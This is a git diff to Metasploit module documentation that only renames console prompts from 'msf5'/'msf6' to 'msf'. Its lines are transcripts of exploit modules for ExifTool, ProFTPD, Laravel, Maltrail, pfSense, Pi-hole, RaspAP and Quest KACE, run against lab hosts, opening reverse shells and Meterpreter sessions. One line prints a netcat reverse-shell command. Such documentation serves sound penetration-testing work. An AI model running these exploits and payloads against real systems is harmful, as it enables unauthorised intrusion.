exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set LPORT 4444 +msf exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set LPORT 4444 LPORT => 4444 -msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > exploit +msf exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > exploit [+] msf.jpg stored at /home/justin/.msf4/local/msf.jpg -msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > +msf exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > ``` Start a handler ```plain -msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > use exploit/multi/handler +msf exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set LHOST 127.0.0.1 +msf exploit(multi/handler) > set LHOST 127.0.0.1 LHOST => 127.0.0.1 -msf6 exploit(multi/handler) > set LPORT 4444 +msf exploit(multi/handler) > set LPORT 4444 LPORT => 4444 -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? [*] Started reverse TCP handler on 127.0.0.1:4444 @@ -108,16 +108,16 @@ uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo) Generate the image file ```plain -msf6 > use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection +msf > use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set PAYLOAD cmd/unix/generic +msf exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set PAYLOAD cmd/unix/generic PAYLOAD => cmd/unix/generic -msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set CMD 'echo "Pwned as $(id)"' +msf exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set CMD 'echo "Pwned as $(id)"' CMD => echo "Pwned as $(id)" -msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > exploit +msf exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > exploit [+] msf.jpg stored at /home/justin/.msf4/local/msf.jpg -msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > +msf exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > ``` As the victim, use ExifTool to analyse the image. The STDOUT of CMD will be reflected in the 'Author' EXIF field. diff --git a/documentation/modules/exploit/unix/fileformat/metasploit_libnotify_cmd_injection.md b/documentation/modules/exploit/unix/fileformat/metasploit_libnotify_cmd_injection.md index 85c21ba84c08d..0adee0bbdae4e 100644 --- a/documentation/modules/exploit/unix/fileformat/metasploit_libnotify_cmd_injection.md +++ b/documentation/modules/exploit/unix/fileformat/metasploit_libnotify_cmd_injection.md @@ -32,8 +32,8 @@ command. ``` -msf5 > use exploit/unix/fileformat/metasploit_libnotify_cmd_injection -msf5 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show options +msf > use exploit/unix/fileformat/metasploit_libnotify_cmd_injection +msf exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > show options Module options (exploit/unix/fileformat/metasploit_libnotify_cmd_injection): @@ -60,12 +60,12 @@ Exploit target: 0 Automatic -msf5 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > exploit +msf exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > exploit [*] Writing xml file: scan.xml [+] scan.xml stored at /home/smcintyre/.msf4/local/scan.xml -msf5 exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > use exploit/multi/handler -msf5 exploit(multi/handler) > show options +msf exploit(unix/fileformat/metasploit_libnotify_cmd_injection) > use exploit/multi/handler +msf exploit(multi/handler) > show options Module options (exploit/multi/handler): @@ -89,29 +89,29 @@ Exploit target: 0 Wildcard Target -msf5 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 ^C[-] Exploit failed [user-interrupt]: Interrupt [-] exploit: Interrupted -msf5 exploit(multi/handler) > exploit -j +msf exploit(multi/handler) > exploit -j [*] Exploit running as background job 3. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.159.128:4444 -msf5 exploit(multi/handler) > version +msf exploit(multi/handler) > version Framework: 5.0.76-dev-50cfb07cff Console : 5.0.76-dev-50cfb07cff -msf5 exploit(multi/handler) > load libnotify +msf exploit(multi/handler) > load libnotify [*] Successfully loaded plugin: libnotify -msf5 exploit(multi/handler) > services -d +msf exploit(multi/handler) > services -d Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- -msf5 exploit(multi/handler) > db_import /home/smcintyre/.msf4/local/scan.xml +msf exploit(multi/handler) > db_import /home/smcintyre/.msf4/local/scan.xml [*] Importing 'Nmap XML' data [*] Import: Parsing with 'Nokogiri v1.10.8' [*] Importing host 192.168.20.121 @@ -120,9 +120,9 @@ sh: line 2: Proto:: command not found sh: -c: line 3: unexpected EOF while looking for matching `'' sh: -c: line 4: syntax error: unexpected end of file [*] Successfully imported /home/smcintyre/.msf4/local/scan.xml -msf5 exploit(multi/handler) > [*] Command shell session 4 opened (192.168.159.128:4444 -> 192.168.159.128:35516) at 2020-04-16 14:54:39 -0400 +msf exploit(multi/handler) > [*] Command shell session 4 opened (192.168.159.128:4444 -> 192.168.159.128:35516) at 2020-04-16 14:54:39 -0400 -msf5 exploit(multi/handler) > sessions -i 4 +msf exploit(multi/handler) > sessions -i 4 [*] Starting interaction with 4... id diff --git a/documentation/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection.md b/documentation/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection.md index a76cca1e942ad..0468c5ecb6565 100644 --- a/documentation/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection.md +++ b/documentation/modules/exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection.md @@ -60,9 +60,9 @@ work. If you attempt to use them you will get a warning message when doing `exploit`. ``` -msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set payload cmd/unix/reverse_bash +msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exploit +msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exploit [!] Warning: bash payloads are unlikely to work [+] msf.apk stored at /home/justin/.msf4/local/msf.apk @@ -79,13 +79,13 @@ msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > e Generate the APK file ``` -msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection +msf > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 172.18.0.3 +msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 172.18.0.3 LHOST => 172.18.0.3 -msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 4444 +msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 4444 LPORT => 4444 -msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exploit +msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exploit [+] msf.apk stored at /home/justin/.msf4/local/msf.apk ``` @@ -93,13 +93,13 @@ msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > e Start a handler ``` -msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > use exploit/multi/handler +msf exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set LHOST 172.18.0.3 +msf exploit(multi/handler) > set LHOST 172.18.0.3 LHOST => 172.18.0.3 -msf6 exploit(multi/handler) > set LPORT 4444 +msf exploit(multi/handler) > set LPORT 4444 LPORT => 4444 -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 172.18.0.3:4444 ``` diff --git a/documentation/modules/exploit/unix/ftp/proftpd_modcopy_exec.md b/documentation/modules/exploit/unix/ftp/proftpd_modcopy_exec.md index fdb3e735cefef..35de991a5ff6a 100644 --- a/documentation/modules/exploit/unix/ftp/proftpd_modcopy_exec.md +++ b/documentation/modules/exploit/unix/ftp/proftpd_modcopy_exec.md @@ -67,19 +67,19 @@ Absolute writable website path (default: `/var/www`) ### ProFTPD 1.3.5 on Ubuntu 22.04 ``` -msf6 > use exploit/unix/ftp/proftpd_modcopy_exec +msf > use exploit/unix/ftp/proftpd_modcopy_exec [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 192.168.200.158 +msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhosts 192.168.200.158 rhosts => 192.168.200.158 -msf6 exploit(unix/ftp/proftpd_modcopy_exec) > check +msf exploit(unix/ftp/proftpd_modcopy_exec) > check [*] 192.168.200.158:80 - The target appears to be vulnerable. 192.168.200.158:21 - Unauthenticated SITE CPFR command was successful -msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html/test +msf exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html/test sitepath => /var/www/html/test -msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set targeturi /test +msf exploit(unix/ftp/proftpd_modcopy_exec) > set targeturi /test targeturi => /test -msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/reverse_perl +msf exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/reverse_perl payload => cmd/unix/reverse_perl -msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run +msf exploit(unix/ftp/proftpd_modcopy_exec) > run [*] Started reverse TCP handler on 192.168.200.130:4444 [*] 192.168.200.158:80 - 192.168.200.158:21 - Connected to FTP server diff --git a/documentation/modules/exploit/unix/http/laravel_token_unserialize_exec.md b/documentation/modules/exploit/unix/http/laravel_token_unserialize_exec.md index cd1ee22c2ff92..a28dea345fee1 100644 --- a/documentation/modules/exploit/unix/http/laravel_token_unserialize_exec.md +++ b/documentation/modules/exploit/unix/http/laravel_token_unserialize_exec.md @@ -27,13 +27,13 @@ The module may also uses CVE-2017-16894 to check for a leaked key. Another leake ## Scenarios ``` -msf5 exploit(unix/http/laravel_token_unserialize_exec) > check +msf exploit(unix/http/laravel_token_unserialize_exec) > check [*] 172.22.222.112:8000 - APP_KEY not set. Will try to find it... [*] 172.22.222.112:8000 - Checking for CVE-2017-16894 .env information leak [+] 172.22.222.112:8000 - APP_KEY Found via Laravel Framework error information leak: uV1jO3mpnhtdvcsSi1EIUVtSMBXeAvWtL3lmNwx7n9Q= [+] 172.22.222.112:8000 - The target is vulnerable. -msf5 exploit(unix/http/laravel_token_unserialize_exec) > exploit +msf exploit(unix/http/laravel_token_unserialize_exec) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [*] 172.22.222.112:8000 - APP_KEY not set. Will try to find it... diff --git a/documentation/modules/exploit/unix/http/maltrail_rce.md b/documentation/modules/exploit/unix/http/maltrail_rce.md index 5b1e61cb184c1..9f6f787e04954 100644 --- a/documentation/modules/exploit/unix/http/maltrail_rce.md +++ b/documentation/modules/exploit/unix/http/maltrail_rce.md @@ -33,13 +33,13 @@ After these steps the Maltrail web interface will be exposed on the `http:// use exploit/unix/http/maltrail_rce +msf > use exploit/unix/http/maltrail_rce [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(unix/http/maltrail_rce) > set rhosts 127.0.0.1 +msf exploit(unix/http/maltrail_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(unix/http/maltrail_rce) > set lhost 172.17.0.1 +msf exploit(unix/http/maltrail_rce) > set lhost 172.17.0.1 lhost => 172.17.0.1 -msf6 exploit(unix/http/maltrail_rce) > run +msf exploit(unix/http/maltrail_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -59,13 +59,13 @@ meterpreter > ``` ``` -msf6 > use exploit/unix/http/maltrail_rce +msf > use exploit/unix/http/maltrail_rce [*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(unix/http/maltrail_rce) > set rhosts 127.0.0.1 +msf exploit(unix/http/maltrail_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(unix/http/maltrail_rce) > set lhost 172.17.0.1 +msf exploit(unix/http/maltrail_rce) > set lhost 172.17.0.1 lhost => 172.17.0.1 -msf6 exploit(unix/http/maltrail_rce) > run +msf exploit(unix/http/maltrail_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/unix/http/pfsense_config_data_exec.md b/documentation/modules/exploit/unix/http/pfsense_config_data_exec.md index fff17865819e1..05dd8a721e208 100644 --- a/documentation/modules/exploit/unix/http/pfsense_config_data_exec.md +++ b/documentation/modules/exploit/unix/http/pfsense_config_data_exec.md @@ -41,13 +41,13 @@ module. ### pfSense Community Edition 2.6.0-RELEASE ``` -msf6 exploit(unix/http/pfsense_config_data_exec) > use exploit/unix/http/pfsense_config_data_exec +msf exploit(unix/http/pfsense_config_data_exec) > use exploit/unix/http/pfsense_config_data_exec [*] Using configured payload cmd/unix/reverse_netcat -msf6 exploit(unix/http/pfsense_config_data_exec) > set RHOST 1.1.1.1 +msf exploit(unix/http/pfsense_config_data_exec) > set RHOST 1.1.1.1 RHOST => 1.1.1.1 -msf6 exploit(unix/http/pfsense_config_data_exec) > set LHOST 2.2.2.2 +msf exploit(unix/http/pfsense_config_data_exec) > set LHOST 2.2.2.2 LHOST => 2.2.2.2 -msf6 exploit(unix/http/pfsense_config_data_exec) > exploit +msf exploit(unix/http/pfsense_config_data_exec) > exploit [*] Started reverse TCP handler on 2.2.2.2:4444 [*] pfSense version: 2.6.0-RELEASE diff --git a/documentation/modules/exploit/unix/http/pfsense_diag_routes_webshell.md b/documentation/modules/exploit/unix/http/pfsense_diag_routes_webshell.md index f75cbb248b23f..3405ef771ba90 100644 --- a/documentation/modules/exploit/unix/http/pfsense_diag_routes_webshell.md +++ b/documentation/modules/exploit/unix/http/pfsense_diag_routes_webshell.md @@ -74,21 +74,21 @@ Target 1 is a `bsd/x64` reverse shell using the curl command stager. ### pfSense 2.5.2. Reverse shell using openssl cmd_arch payload. ``` -msf6 > use exploit/unix/http/pfsense_diag_routes_webshell +msf > use exploit/unix/http/pfsense_diag_routes_webshell [*] Using configured payload bsd/x64/shell_reverse_tcp -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only +msf exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only USERNAME => diag_only -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1 +msf exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10 +msf exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10 RHOST => 10.0.0.10 -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check +msf exploit(unix/http/pfsense_diag_routes_webshell) > check [!] This exploit may require manual cleanup of '/usr/local/www/HFkrB' on the target [+] 10.0.0.10:80 - The target is vulnerable. -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2 +msf exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run +msf exploit(unix/http/pfsense_diag_routes_webshell) > run [*] Started reverse TCP handler on 10.0.0.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -118,21 +118,21 @@ FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_ ### pfSense 2.5.2. Reverse shell using bsd reverse shell and curl command stager. ``` -msf6 > use exploit/unix/http/pfsense_diag_routes_webshell +msf > use exploit/unix/http/pfsense_diag_routes_webshell [*] Using configured payload bsd/x64/shell_reverse_tcp -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only +msf exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only USERNAME => diag_only -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1 +msf exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1 PASSWORD => labpass1 -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10 +msf exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10 RHOST => 10.0.0.10 -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check +msf exploit(unix/http/pfsense_diag_routes_webshell) > check [!] This exploit may require manual cleanup of '/usr/local/www/QEpijnAPnpu' on the target [+] 10.0.0.10:80 - The target is vulnerable. -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2 +msf exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 -msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run +msf exploit(unix/http/pfsense_diag_routes_webshell) > run [*] Started reverse TCP handler on 10.0.0.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/unix/http/pfsense_pfblockerng_webshell.md b/documentation/modules/exploit/unix/http/pfsense_pfblockerng_webshell.md index f892804e0f902..fb5f5e195422f 100644 --- a/documentation/modules/exploit/unix/http/pfsense_pfblockerng_webshell.md +++ b/documentation/modules/exploit/unix/http/pfsense_pfblockerng_webshell.md @@ -53,17 +53,17 @@ If left unset the file name will be randomly generated. ## Scenarios ### pfSense 2.5.2-RELEASE with pfSense-pkg-pfBlockerNG-2.1.4_26.pkg installed ``` -msf6 > use exploit/unix/http/pfsense_pfblockerng_webshell +msf > use exploit/unix/http/pfsense_pfblockerng_webshell [*] Using configured payload bsd/x64/shell_reverse_tcp -msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set RHOSTS 172.23.40.111 +msf exploit(unix/http/pfsense_pfblockerng_webshell) > set RHOSTS 172.23.40.111 RHOSTS => 172.23.40.111 -msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set LHOST 172.23.47.143 +msf exploit(unix/http/pfsense_pfblockerng_webshell) > set LHOST 172.23.47.143 LHOST => 172.23.47.143 -msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set LPORT 4453 +msf exploit(unix/http/pfsense_pfblockerng_webshell) > set LPORT 4453 LPORT => 4453 -msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set SRVPORT 8383 +msf exploit(unix/http/pfsense_pfblockerng_webshell) > set SRVPORT 8383 SRVPORT => 8383 -msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show options +msf exploit(unix/http/pfsense_pfblockerng_webshell) > show options Module options (exploit/unix/http/pfsense_pfblockerng_webshell): @@ -99,7 +99,7 @@ Exploit target: 1 BSD Dropper -msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > run +msf exploit(unix/http/pfsense_pfblockerng_webshell) > run [*] Started reverse TCP handler on 172.23.47.143:4453 [*] Running automatic check ("set AutoCheck false" to disable) @@ -123,9 +123,9 @@ root uname -a FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64 exit -msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set TARGET 0 +msf exploit(unix/http/pfsense_pfblockerng_webshell) > set TARGET 0 TARGET => 0 -msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show options +msf exploit(unix/http/pfsense_pfblockerng_webshell) > show options Module options (exploit/unix/http/pfsense_pfblockerng_webshell): @@ -160,7 +160,7 @@ Exploit target: 0 Unix Command -msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > run +msf exploit(unix/http/pfsense_pfblockerng_webshell) > run [*] Started reverse double SSL handler on 172.23.47.143:4545 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md index 7abed0fdda921..93f9c3a643546 100644 --- a/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md +++ b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md @@ -57,7 +57,7 @@ Password for the web interface. Randomly set on install. Use `pihole -a -p` to [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 1.1.1.1:4444 - msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.3.2 + msf exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.3.2 [*] Using URL: http://1.1.1.1:80/ [*] Using cookie: PHPSESSID=45abdcp4rsc9bpi9tchi88ejnn; [*] Using token: WzmrFbksWxIbtuSVeyrf8yv9o541UdhueLN+BRXfUmY= @@ -73,7 +73,7 @@ Password for the web interface. Randomly set on install. Use `pihole -a -p` to [+] Deleted cdJWzln.php [*] Server stopped. - msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1 + msf exploit(unix/http/pihole_blocklist_exec) > sessions -1 [*] Starting interaction with 1... meterpreter > getuid @@ -106,7 +106,7 @@ Password for the web interface. Randomly set on install. Use `pihole -a -p` to [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 1.1.1.1:4444 - msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.4 + msf exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.4 [*] Using URL: http://1.1.1.1:80/ [*] Using cookie: PHPSESSID=uee4gcfsjk5m8289m4uk4rv1du; [*] Using token: uO4ha1e0fy+Qwvoq14XgslT3Z+VJ/h2RR3qyVT6dPz8= @@ -127,7 +127,7 @@ Password for the web interface. Randomly set on install. Use `pihole -a -p` to [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:48636) at 2020-05-13 20:34:33 -0400 [+] Deleted VRwxqyhs.php - msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1 + msf exploit(unix/http/pihole_blocklist_exec) > sessions -1 [*] Starting interaction with 1... meterpreter > getuid diff --git a/documentation/modules/exploit/unix/http/pihole_dhcp_mac_exec.md b/documentation/modules/exploit/unix/http/pihole_dhcp_mac_exec.md index a14c7c8fc9e00..3f1c422738c14 100644 --- a/documentation/modules/exploit/unix/http/pihole_dhcp_mac_exec.md +++ b/documentation/modules/exploit/unix/http/pihole_dhcp_mac_exec.md @@ -108,19 +108,19 @@ Password for the web interface. Randomly set on install. Use `pihole -a -p` to ### Pi-Hole 4.3 with AdminLTE 4.3 on Ubuntu 18.04 ``` - msf5 > use exploit/unix/http/pihole_dhcp_mac_exec + msf > use exploit/unix/http/pihole_dhcp_mac_exec [*] Using exploit/unix/http/pihole_dhcp_mac_exec - msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set rhosts 2.2.2.2 + msf exploit(unix/http/pihole_dhcp_mac_exec) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 - msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set lhost 1.1.1.1 + msf exploit(unix/http/pihole_dhcp_mac_exec) > set lhost 1.1.1.1 lhost => 1.1.1.1 - msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set lport 8888 + msf exploit(unix/http/pihole_dhcp_mac_exec) > set lport 8888 lport => 8888 - msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set password password123 + msf exploit(unix/http/pihole_dhcp_mac_exec) > set password password123 password => password123 - msf5 exploit(unix/http/pihole_dhcp_mac_exec) > set verbose true + msf exploit(unix/http/pihole_dhcp_mac_exec) > set verbose true verbose => true - msf5 exploit(unix/http/pihole_dhcp_mac_exec) > run + msf exploit(unix/http/pihole_dhcp_mac_exec) > run [+] mkfifo /tmp/wvfacoc; nc 1.1.1.1 8888 0/tmp/wvfacoc 2>&1; rm /tmp/wvfacoc [*] Started reverse TCP handler on 1.1.1.1:8888 diff --git a/documentation/modules/exploit/unix/http/pihole_whitelist_exec.md b/documentation/modules/exploit/unix/http/pihole_whitelist_exec.md index 3dda94b154402..52be9b5697c17 100644 --- a/documentation/modules/exploit/unix/http/pihole_whitelist_exec.md +++ b/documentation/modules/exploit/unix/http/pihole_whitelist_exec.md @@ -56,12 +56,12 @@ Password for the web interface. Randomly set on install. Use `pihole -a -p` to ### Pi-Hole 3.2.1 with AdminLTE 3.2.1 on Ubuntu 18.04 ``` - msf5 > use exploit/unix/http/pihole_whitelist_exec - msf5 exploit(unix/http/pihole_whitelist_exec) > set rhosts 2.2.2.2 + msf > use exploit/unix/http/pihole_whitelist_exec + msf exploit(unix/http/pihole_whitelist_exec) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 - msf5 exploit(unix/http/pihole_whitelist_exec) > set verbose true + msf exploit(unix/http/pihole_whitelist_exec) > set verbose true verbose => true - msf5 exploit(unix/http/pihole_whitelist_exec) > run + msf exploit(unix/http/pihole_whitelist_exec) > run [*] Started reverse TCP handler on 1.1.1.1:4444 [+] Version Detected: 3.2.1 diff --git a/documentation/modules/exploit/unix/http/quest_kace_systems_management_rce.md b/documentation/modules/exploit/unix/http/quest_kace_systems_management_rce.md index 8a35ced1db940..38f8bacaa938c 100644 --- a/documentation/modules/exploit/unix/http/quest_kace_systems_management_rce.md +++ b/documentation/modules/exploit/unix/http/quest_kace_systems_management_rce.md @@ -48,16 +48,16 @@ ## Scenarios ``` - msf5 > use exploit/unix/http/quest_kace_systems_management_rce - msf5 exploit(unix/http/quest_kace_systems_management_rce) > set rhost 172.16.123.123 + msf > use exploit/unix/http/quest_kace_systems_management_rce + msf exploit(unix/http/quest_kace_systems_management_rce) > set rhost 172.16.123.123 rhost => 172.16.123.123 - msf5 exploit(unix/http/quest_kace_systems_management_rce) > check + msf exploit(unix/http/quest_kace_systems_management_rce) > check [*] 172.16.123.123:80 The target appears to be vulnerable. - msf5 exploit(unix/http/quest_kace_systems_management_rce) > set ORGANIZATION 1 + msf exploit(unix/http/quest_kace_systems_management_rce) > set ORGANIZATION 1 ORGANIZATION => 1 - msf5 exploit(unix/http/quest_kace_systems_management_rce) > set AGENT_VERSION 8.0.152 + msf exploit(unix/http/quest_kace_systems_management_rce) > set AGENT_VERSION 8.0.152 AGENT_VERSION => 8.0.152 - msf5 exploit(unix/http/quest_kace_systems_management_rce) > run + msf exploit(unix/http/quest_kace_systems_management_rce) > run [*] Started reverse TCP handler on 172.16.123.188:4444 [*] Sending payload (505 bytes) diff --git a/documentation/modules/exploit/unix/http/raspap_rce.md b/documentation/modules/exploit/unix/http/raspap_rce.md index aabdba48ec6ae..44d9aa7fd7a76 100644 --- a/documentation/modules/exploit/unix/http/raspap_rce.md +++ b/documentation/modules/exploit/unix/http/raspap_rce.md @@ -34,13 +34,13 @@ For installing the vulnerable version follow the steps below, ### Debian 12, Unix Command Target ``` -msf6 > use exploit/unix/http/raspap_rce +msf > use exploit/unix/http/raspap_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(unix/http/raspap_rce) > set rhosts 172.16.199.130 +msf exploit(unix/http/raspap_rce) > set rhosts 172.16.199.130 rhosts => 172.16.199.130 -msf6 exploit(unix/http/raspap_rce) > set lhost 172.16.199.1 +msf exploit(unix/http/raspap_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(unix/http/raspap_rce) > run +msf exploit(unix/http/raspap_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -61,15 +61,15 @@ meterpreter > ### Debian 11, Linux Dropper Target ``` -msf6 > use exploit/unix/http/raspap_rce +msf > use exploit/unix/http/raspap_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(unix/http/raspap_rce) > set rhosts 127.0.0.1 +msf exploit(unix/http/raspap_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(unix/http/raspap_rce) > set lhost 172.17.0.1 +msf exploit(unix/http/raspap_rce) > set lhost 172.17.0.1 lhost => 172.17.0.1 -msf6 exploit(unix/http/raspap_rce) > set target 1 +msf exploit(unix/http/raspap_rce) > set target 1 target => 1 -msf6 exploit(unix/http/raspap_rce) > run +msf exploit(unix/http/raspap_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md b/documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md index c01021f1cb63b..42fb1969d4475 100644 --- a/documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md +++ b/documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md @@ -27,13 +27,13 @@ You should set a new SSH password to the vulnerable device. **Schneider Electric Pelco Encoder NET5501-XT** -msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set RHOSTS 192.168.34.2 +msf exploit(unix/http/schneider_electric_net55xx_encoder) > set RHOSTS 192.168.34.2 RHOSTS => 192.168.34.2 -msf5 exploit(unix/http/schneider_electric_net55xx_encoder) > set RPORT 80 +msf exploit(unix/http/schneider_electric_net55xx_encoder) > set RPORT 80 RPORT => 80 